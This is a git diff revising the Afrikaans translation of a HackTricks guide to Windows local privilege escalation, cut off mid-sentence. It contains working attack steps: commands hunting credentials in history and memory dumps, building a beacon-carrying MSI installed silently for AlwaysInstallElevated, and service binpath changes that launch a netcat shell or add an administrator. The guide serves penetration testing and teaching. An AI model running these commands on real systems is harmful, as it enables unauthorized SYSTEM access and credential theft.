diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 3288f3896..4f8c9f678 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -1,12 +1,12 @@ -# Windows Local Privilege Escalation +# Windows Lokale Privilege Escalation {{#include ../../banners/hacktricks-training.md}} ### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Inleidende Windows-teorie +## Aanvanklike Windows-teorie -### Access Tokens +### Toegangstokens **As jy nie weet wat Windows Access Tokens is nie, lees die volgende bladsy voordat jy voortgaan:** @@ -24,9 +24,9 @@ access-tokens.md acls-dacls-sacls-aces.md {{#endref}} -### Integrity Levels +### Integriteitsvlakke -**As jy nie weet wat integrity levels in Windows is nie, moet jy die volgende bladsy lees voordat jy voortgaan:** +**As jy nie weet wat integriteitsvlakke in Windows is nie, moet jy die volgende bladsy lees voordat jy voortgaan:** {{#ref}} @@ -35,7 +35,7 @@ integrity-levels.md ## Windows Sekuriteitskontroles -Daar is verskillende dinge in Windows wat jou kan **prevent you from enumerating the system**, uitvoerbare lêers kan blokkeer of selfs jou aktiwiteite kan **detect**. Jy moet die volgende **page** **read** en al hierdie **defenses** **mechanisms** **enumerate** voordat jy met die privilege escalation-ondersoek begin: +Daar is verskeie dinge in Windows wat jou kan verhoed om die stelsel te enummer, uitvoerbare lêers te laat loop of selfs jou aktiwiteite te ontdek. Jy moet die volgende bladsy lees en al hierdie verdedigingsmeganismes enummer voordat jy met die privilege escalation-enumerasie begin: {{#ref}} @@ -44,9 +44,9 @@ Daar is verskillende dinge in Windows wat jou kan **prevent you from enumerating ## Stelselinligting -### Version info enumeration +### Weergawe-inligting enummering -Check if the Windows version has any known vulnerability (check also the patches applied). +Kontroleer of die Windows-weergawe enige bekende kwesbaarheid het (kontroleer ook die toegepaste patches). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,18 +59,18 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Weergawe-eksploite +### Weergawe Exploits -Hierdie [site](https://msrc.microsoft.com/update-guide/vulnerability) is handig om gedetailleerde inligting oor Microsoft-sekuriteitskwesbaarhede op te spoor. Hierdie databasis het meer as 4,700 sekuriteitskwesbaarhede, wat die **massive attack surface** wat 'n Windows-omgewing bied, toon. +Hierdie [site](https://msrc.microsoft.com/update-guide/vulnerability) is handig om gedetailleerde inligting oor Microsoft se veiligheidskwesbaarhede op te soek. Hierdie databasis bevat meer as 4,700 veiligheidskwesbaarhede, wat die **massive attack surface** illustreer wat 'n Windows-omgewing bied. **Op die stelsel** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas het watson ingebed)_ -**Lokaal met stelselinligting** +**Lokaal met stelsel-inligting** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) @@ -83,7 +83,7 @@ Hierdie [site](https://msrc.microsoft.com/update-guide/vulnerability) is handig ### Omgewing -Is enige credential/Juicy info in die env variables gestoor? +Is daar enige credential/Juicy-inligting wat in die env-variabeles gestoor is? ```bash set dir env: @@ -99,7 +99,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell-transkripsielêers +### PowerShell Transcript-lêers Jy kan leer hoe om dit aan te skakel by [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash @@ -116,30 +116,30 @@ Stop-Transcript ``` ### PowerShell Module Logging -Besonderhede van PowerShell pipeline-uitvoerings word aangeteken, insluitend uitgevoerde kommando's, kommando-aanroepe, en dele van skripte. Volledige uitvoeringsbesonderhede en uitsetresultate mag egter nie altyd vasgelê word nie. +Besonderhede van PowerShell-pyplynuitvoerings word aangeteken, insluitend uitgevoerde opdragte, opdragoproepe en dele van skripte. Volledige uitvoeringsbesonderhede en uitvoerresultate mag egter nie vasgelê word nie. -Om dit te aktiveer, volg die instruksies in die "Transcript files" afdeling van die dokumentasie, en kies **"Module Logging"** eerder as **"Powershell Transcription"**. +Om dit te aktiveer, volg die instruksies in die "Transcript files" afdeling van die dokumentasie, en kies **"Module Logging"** in plaas van **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Om die laaste 15 events van PowersShell logs te sien, kan jy uitvoer: +Om die laaste 15 gebeurtenisse van die PowersShell logs te sien, kan jy die volgende uitvoer: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -ʼn volledige register van aktiwiteite en die volle inhoud van die uitvoering van die skrip word vasgelê, wat verseker dat elke kodeblok gedokumenteer word soos dit uitgevoer word. Hierdie proses bewaar 'n omvattende ouditspoor van elke aktiwiteit, wat waardevol is vir forensiese ondersoeke en die ontleding van kwaadwillige gedrag. Deur alle aktiwiteite tydens uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf. +'n Volledige aktiwiteit- en inhoudsrekord van die skrip se uitvoering word vasgelê, wat verseker dat elke kodeblok gedokumenteer word terwyl dit uitgevoer word. Hierdie proses bewaar 'n omvattende ouditspoor van elke aktiwiteit, waardevol vir forensiese ondersoeke en die ontleding van kwaadwillige gedrag. Deur alle aktiwiteite tydens uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Gebeure vir die Script Block kan in die Windows Event Viewer gevind word by die pad: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Om die laaste 20 gebeure te sien, kan jy die volgende gebruik: +Loggebeurtenisse vir die Script Block kan binne die Windows Event Viewer gevind word by die pad: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Om die laaste 20 gebeure te sien kan jy gebruik: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -148,7 +148,7 @@ Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ``` -### Skywe +### Skyfstasies ```bash wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Jy kan die stelsel kompromitteer as die opdaterings nie via http**S** versoek word nie, maar via http. +Jy kan die stelsel kompromitteer as die updates nie via http**S** versoek word nie, maar via http. -Begin deur te kontroleer of die netwerk 'n nie-SSL WSUS update gebruik deur die volgende in cmd uit te voer: +Jy begin deur te kontroleer of die netwerk 'n non-SSL WSUS update gebruik deur die volgende in cmd uit te voer: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -166,7 +166,7 @@ Of die volgende in PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -As jy 'n antwoord kry soos een van hierdie: +As jy 'n antwoord kry soos een van die volgende: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -182,11 +182,11 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` En as `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` of `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` gelyk is aan `1`. -Dan is dit **uitbruikbaar.** As die laaste registerwaarde gelyk is aan `0`, sal die WSUS-inskrywing geïgnoreer word. +Dan is dit **uitbuitbaar.** As die laaste registerwaarde op `0` staan, sal die WSUS-inskrywing geïgnoreer word. -Om hierdie kwesbaarhede uit te buit kan jy gereedskap soos: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) gebruik — dit is MiTM-gewapende exploit-skripte om 'fake' opdaterings in nie-SSL WSUS-verkeer in te spuit. +Om hierdie kwesbaarhede uit te buit, kan jy gereedskap soos gebruik: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Dit is MiTM-weaponized exploit-skripte om 'fake' updates in nie-SSL WSUS-verkeer in te voeg. -Read the research here: +Lees die navorsing hier: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -195,17 +195,17 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Basies is dit die fout wat hierdie probleem uitbuit: +In wese is dit die fout wat hierdie bug uitbuit: -> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. +> As ons die mag het om ons plaaslike gebruikersproxy te wysig, en Windows Updates die proxy gebruik wat in Internet Explorer’s instellings gekonfigureer is, het ons dus die vermoë om [PyWSUS](https://github.com/GoSecure/pywsus) lokaal te laat loop om ons eie verkeer te onderskep en kode uit te voer as 'n verhoogde gebruiker op ons asset. > -> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. +> Verder, aangesien die WSUS-diens die huidige gebruiker se instellings gebruik, sal dit ook sy sertifikaatwinkel gebruik. As ons 'n self-ondertekende sertifikaat vir die WSUS-hostname genereer en hierdie sertifikaat by die huidige gebruiker se sertifikaatwinkel voeg, sal ons beide HTTP- en HTTPS-WSUS-verkeer kan onderskep. WSUS gebruik geen HSTS-agtige meganismes om 'n trust-on-first-use tipe validering op die sertifikaat toe te pas nie. As die aangebiedde sertifikaat deur die gebruiker vertrou word en die korrekte hostname het, sal dit deur die diens aanvaar word. -Jy kan hierdie kwesbaarheid uitbuit met die hulpmiddel [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (sodra dit vrygestel is). +Jy kan hierdie kwesbaarheid uitbuit met die instrument [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (sodra dit vrygestel is). -## Derdeparty Auto-Updaters en Agent IPC (local privesc) +## Derdapartij Auto-Updaters and Agent IPC (local privesc) -Baie enterprise agents openbaar 'n localhost IPC-oppervlak en 'n bevoorregte opdateringskanaal. As inskrywing gedwing kan word na 'n aanvaler-bediener en die updater 'n rogue root CA of swak ondertekenaarkontroles vertrou, kan 'n plaaslike gebruiker 'n kwaadwillige MSI lewer wat die SYSTEM-diens installeer. Sien 'n gegeneraliseerde tegniek (gebaseer op die Netskope stAgentSvc chain – CVE-2025-0309) hier: +Baie enterprise agents maak 'n localhost IPC-oppervlak en 'n bevoorregte opdateringskanaal beskikbaar. As enrolment na 'n aanvallerserver gedwing kan word en die updater 'n rogue root CA or weak signer checks vertrou, kan 'n plaaslike gebruiker 'n kwaadwillige MSI lewer wat die SYSTEM-diens installeer. Sien 'n gegeneraliseerde tegniek (gebaseer op die Netskope stAgentSvc chain – CVE-2025-0309) hier: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,15 +213,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Daar bestaan 'n **local privilege escalation** kwesbaarheid in Windows **domain**-omgewings onder spesifieke voorwaardes. Hierdie voorwaardes sluit omgewings in waar **LDAP signing is not enforced,** gebruikers self-regte het wat hulle toelaat om **Resource-Based Constrained Delegation (RBCD)** te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domein te skep. Dit is belangrik om daarop te let dat hierdie **vereistes** met **default settings** nagekom word. +A **local privilege escalation** vulnerability exists in Windows **domain** environments onder spesifieke voorwaardes. Hierdie voorwaardes sluit omgewings in waar **LDAP signing is not enforced**, gebruikers self-regte besit wat hulle toelaat om **Resource-Based Constrained Delegation (RBCD)** te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domain te skep. Dit is belangrik om te let dat hierdie vereistes met die standaardinstellings vervul word. -Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Vind die **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +Vir meer inligting oor die verloop van die aanval sien [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**If** hierdie 2 registers is **enabled** (waarde is **0x1**), kan gebruikers van enige bevoegdheid `*.msi`-lêers **install** (uitvoer) as NT AUTHORITY\\**SYSTEM**. +**As** hierdie 2 registers **geaktiveer** is (waarde is **0x1**), kan gebruikers van enige bevoegdheid `*.msi`-lêers **installeer** (uitvoer) as NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -235,15 +235,16 @@ As jy 'n meterpreter-sessie het, kan jy hierdie tegniek outomatiseer met die mod ### PowerUP -Gebruik die `Write-UserAddMSI` opdrag van PowerUP om binne die huidige gids 'n Windows MSI-binêre te skep om privilegies te eskaleer. Hierdie script skryf 'n voorgekompileerde MSI-installer uit wat vra vir 'n gebruiker/groep toevoeging (dus sal jy GUI-toegang benodig): +Gebruik die `Write-UserAddMSI`-opdrag van power-up om binne die huidige gids 'n Windows MSI-binêr te skep om bevoegdhede te eskaleer. Hierdie skrip skryf 'n voorafgekompileerde MSI-installeerder wat vra vir 'n gebruiker/groep toevoeging (so sal jy GIU-toegang nodig hê): ``` Write-UserAddMSI ``` -Voer net die gegenereerde binêre uit om privileges te eskaleer. +Voer net die geskepte binêre uit om voorregte te verhoog. ### MSI Wrapper -Lees hierdie tutorial om te leer hoe om 'n MSI wrapper te skep met hierdie tools. Neem kennis dat jy 'n "**.bat**" lêer kan wrap as jy **net** wil **uitvoer** **opdragreëls** +Lees hierdie handleiding om te leer hoe om 'n MSI wrapper te skep met hierdie tools. Let wel dat jy 'n "**.bat**" lêer kan inpak as jy **net** **opdragreëls** wil **uitvoer** + {{#ref}} msi-wrapper.md @@ -258,44 +259,44 @@ create-msi-with-wix.md ### Skep MSI met Visual Studio -- **Genereer** met Cobalt Strike of Metasploit 'n **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` -- Maak **Visual Studio** oop, kies **Create a new project** en tik "installer" in die soekkassie. Kies die **Setup Wizard** projek en klik **Next**. +- **Genereer** met Cobalt Strike of Metasploit 'n **nuwe Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- Open **Visual Studio**, kies **Create a new project** en tik "installer" in die soekboks. Kies die **Setup Wizard** projek en klik **Next**. - Gee die projek 'n naam, soos **AlwaysPrivesc**, gebruik **`C:\privesc`** vir die ligging, kies **place solution and project in the same directory**, en klik **Create**. -- Klik aanhoudend op **Next** totdat jy by stap 3 van 4 kom (choose files to include). Klik **Add** en kies die Beacon payload wat jy so pas gegenereer het. Klik dan **Finish**. -- Merk die **AlwaysPrivesc** projek in die **Solution Explorer** en in die **Properties**, verander **TargetPlatform** van **x86** na **x64**. -- Daar is ander eienskappe wat jy kan verander, soos die **Author** en **Manufacturer**, wat die geïnstalleerde app meer eg kan laat voorkom. +- Hou aan om **Next** te klik totdat jy by stap 3 van 4 uitkom (kies lêers om in te sluit). Klik **Add** en kies die Beacon payload wat jy so pas gegenereer het. Klik dan **Finish**. +- Merk die **AlwaysPrivesc** projek in die **Solution Explorer** en verander in die **Properties** die **TargetPlatform** van **x86** na **x64**. +- Daar is ander properties wat jy kan verander, soos die **Author** en **Manufacturer**, wat die geïnstalleerde app meer legitiem laat lyk. - Regsklik die projek en kies **View > Custom Actions**. - Regsklik **Install** en kies **Add Custom Action**. -- Dubbelklik op **Application Folder**, kies jou **beacon.exe** lêer en klik **OK**. Dit verseker dat die beacon payload uitgevoer word sodra die installer uitgevoer word. +- Dubbelklik op **Application Folder**, kies jou **beacon.exe** lêer en klik **OK**. Dit sal verseker dat die beacon payload uitgevoer word sodra die installer uitgevoer word. - Onder die **Custom Action Properties**, verander **Run64Bit** na **True**. -- Laastens, **build** dit. -- Indien die waarskuwing `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` verskyn, maak seker jy stel die platform op x64. +- Laastens, **bou dit**. +- As die waarskuwing `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` verskyn, maak seker jy stel die platform na x64. -### MSI Installasie +### MSI Installering -Om die **installasie** van die kwaadwillige `.msi` file in die **agtergrond** uit te voer: +Om die **installation** van die kwaadwillige `.msi` lêer in die **agtergrond** uit te voer: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Om hierdie kwesbaarheid te benut kan jy gebruik: _exploit/windows/local/always_install_elevated_ +Om hierdie kwesbaarheid te benut, kan jy gebruik: _exploit/windows/local/always_install_elevated_ -## Antivirus en Detektore +## Antivirus en detektore ### Oudit-instellings -Hierdie instellings bepaal wat **aangeteken** word, dus moet jy aandag skenk +Hierdie instellings bepaal wat **aangeteken** word, dus moet jy aandag skenk. ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding is interessant om te weet waar die logs naartoe gestuur word +Windows Event Forwarding, dit is interessant om te weet waarheen die logs gestuur word ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** is ontwerp vir die **bestuur van plaaslike Administrator-wagwoorde**, en verseker dat elke wagwoord **uniek, gerandomiseer en gereeld opgedateer** word op rekenaars wat by 'n domein aangesluit is. Hierdie wagwoorde word veilig in Active Directory gestoor en kan slegs deur gebruikers geraadpleeg word wat voldoende magtiging via ACLs ontvang het, wat hulle in staat stel om plaaslike admin-wagwoorde te besigtig indien gemagtig. +**LAPS** is ontwerp vir die **bestuur van plaaslike Administrator-wagwoorde**, en verseker dat elke wagwoord **uniek, ewekansig gegenereer en gereeld bygewerk** word op rekenaars wat by 'n domein aangesluit is. Hierdie wagwoorde word veilig in Active Directory gestoor en kan slegs deur gebruikers geraadpleeg word aan wie voldoende permissies via ACLs toegeken is, wat hulle toelaat om plaaslike Administrator-wagwoorde te sien indien gemagtig. {{#ref}} @@ -304,28 +305,28 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -As dit aktief is, word **plain-text wagwoorde in LSASS** (Local Security Authority Subsystem Service) gestoor.\ +Indien aktief, word **plain-text wagwoorde in LSASS gestoor** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### LSA-beskerming +### LSA Protection -Vanaf **Windows 8.1** het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsowerheid (LSA) ingevoer om pogings deur onbetroubare prosesse te **blokkeer** om **sy geheue te lees** of kode te injekteer, en sodoende die stelsel verder te beveilig.\ -[**Meer inligting oor LSA-beskerming hier**](../stealing-credentials/credentials-protections.md#lsa-protection). +Vanaf **Windows 8.1** het Microsoft verbeterde beskerming vir die Local Security Authority (LSA) ingestel om pogings deur onbetroubare prosesse om **read its memory** of inject code te **block**, wat die stelsel verder beveilig.\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** is ingevoer in **Windows 10**. Die doel daarvan is om die credentials wat op 'n toestel gestoor word, teen bedreigings soos pass-the-hash attacks te beskerm.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** is geïntroduceer in **Windows 10**. Die doel daarvan is om die credentials wat op 'n toestel gestoor is, te beskerm teen bedreigings soos pass-the-hash attacks.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** word geverifieer deur die **Local Security Authority** (LSA) en gebruik deur bedryfstelselkomponente. Wanneer 'n gebruiker se logon data deur 'n geregistreerde security package geverifieer word, word domain credentials vir die gebruiker gewoonlik opgestel.\\ -[**Meer inligting oor Cached Credentials hier**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** word deur die **Local Security Authority** (LSA) geverifieer en deur bedryfstelselkomponente gebruik. Wanneer 'n gebruiker se logon-data deur 'n geregistreerde security package geverifieer word, word domain credentials vir die gebruiker meestal opgestel.\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -333,7 +334,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Enumereer Gebruikers & Groepe -Jy moet nagaan of enige van die groepe waarvan jy deel uitmaak interessante toestemmings het. +Jy moet nagaan of enige van die groepe waarvan jy 'n lid is, interessante toestemmings het ```bash # CMD net users %username% #Me @@ -350,7 +351,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Bevoorregte groepe -As jy **deel is van 'n bevoorregte groep, kan jy dalk escalate privileges**. Lees oor bevoorregte groepe en hoe om dit te misbruik om escalate privileges hier: +As jy **tot 'n bevoorregte groep behoort, kan jy moontlik voorregte eskaleer**. Lees meer oor bevoorregte groepe en hoe om dit te misbruik om voorregte te eskaleer hier: {{#ref}} @@ -359,8 +360,8 @@ As jy **deel is van 'n bevoorregte groep, kan jy dalk escalate privileges**. Lee ### Token manipulation -**Leer meer** oor wat 'n **token** is op hierdie blad: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Kyk na die volgende blad om te **leer oor interessante tokens** en hoe om dit te misbruik: +**Lees meer** oor wat 'n **token** is op hierdie bladsy: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Kyk na die volgende bladsy om te **leer oor interessante tokens** en hoe om dit te misbruik: {{#ref}} @@ -385,12 +386,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Lopende Prosesse +## Lopende prosesse -### Lêer- en gids toestemmings +### Lêer- en gids-toestemmings -Eerstens, wanneer jy die prosesse lys, **kyk vir wagwoorde in die command line van die proses**.\ -Kyk of jy **'n lopende binary kan oorskryf** of jy skryfregte op die binary-gids het om moontlike [**DLL Hijacking attacks**](dll-hijacking/index.html) te benut: +Eerstens, wanneer jy die prosesse lys, **kyk vir wagwoorde binne die opdragreël van die proses**.\ +Kyk of jy **'n lopende binary kan oorskryf**, en of jy skryfregte het op die binary-gids om moontlike [**DLL Hijacking attacks**](dll-hijacking/index.html) te benut: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -401,9 +402,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Kontroleer altyd vir moontlike [**electron/cef/chromium debuggers** wat loop, jy kan dit misbruik om bevoegdhede te eskaleer](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Kontroleer altyd vir moontlike [**electron/cef/chromium debuggers** wat aan die gang is; jy kan dit misbruik om voorregte te eskaleer](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Kontroleer die toestemmings van die proses-binaries** +**Kontroleer die permissies van die prosesse se binaries** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -412,7 +413,7 @@ icacls "%%z" ) ) ``` -**Kontroleer die permissies van die vouers van die proses se binaries (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Kontroleer die toegangsregte van die vouers van die binaries van die prosesse (**[**DLL Hijacking**](dll-hijacking/index.html)**)**) ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -422,13 +423,13 @@ todos %username%" && echo. ``` ### Memory Password mining -Jy kan 'n memory dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP bevat die **credentials in clear text in memory**; probeer om die memory te dump en lees die credentials. +Jy kan 'n geheue-dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP bevat die **credentials in clear text in memory**, probeer om die geheue te dump en lees die credentials. ```bash procdump.exe -accepteula -ma ``` ### Onveilige GUI-apps -**Toepassings wat as SYSTEM uitgevoer word, kan 'n gebruiker toelaat om 'n CMD te begin, of deur gidse te blaai.** +**Toepassings wat as SYSTEM loop, kan 'n gebruiker toelaat om 'n CMD te begin of deur gidse te blaai.** Voorbeeld: "Windows Help and Support" (Windows + F1), soek na "command prompt", klik op "Click to open Command Prompt" @@ -443,11 +444,11 @@ Get-Service ``` ### Permissies -Jy kan **sc** gebruik om inligting oor 'n diens te kry. +Jy kan **sc** gebruik om inligting oor 'n diens te kry ```bash sc qc ``` -Dit word aanbeveel om die binaire **accesschk** van _Sysinternals_ te hê om die vereiste privilegievlak vir elke diens te kontroleer. +Dit word aanbeveel om die binêre **accesschk** van _Sysinternals_ te hê om die vereiste voorregvlak vir elke diens te kontroleer. ```bash accesschk.exe -ucqv #Check rights for different groups ``` @@ -464,23 +465,23 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version As jy hierdie fout kry (byvoorbeeld met SSDPSRV): -_Stelselfout 1058 het voorgekom._\ -_Die diens kan nie begin word nie, óf omdat dit gedeaktiveer is, óf omdat daar geen geaktiveerde toestelle daarmee geassosieer is nie._ +_System error 1058 has occurred._\ +_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ Jy kan dit aktiveer met ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Neem in ag dat die service upnphost afhanklik is van SSDPSRV om te werk (vir XP SP1)** +**Neem in ag dat die diens upnphost afhanklik is van SSDPSRV om te werk (vir XP SP1)** -**Nog 'n workaround vir hierdie probleem is om die volgende te laat loop:** +**Nog 'n workaround** van hierdie probleem is om uit te voer: ``` sc.exe config usosvc start= auto ``` -### **Wysig die diens se binêre uitvoerbare pad** +### **Wysig diens-binaire pad** -In die scenario waar die "Authenticated users" groep **SERVICE_ALL_ACCESS** op 'n diens besit, is dit moontlik om die diens se uitvoerbare binêre lêer te wysig. Om te wysig en **sc** uit te voer: +In die geval dat die "Authenticated users" groep **SERVICE_ALL_ACCESS** op 'n diens het, is dit moontlik om die diens se uitvoerbare binaire te wysig. Om **sc** te wysig en uit te voer: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -493,20 +494,20 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Privilegies kan verhoog word deur verskeie toestemmings: +Privilegies kan 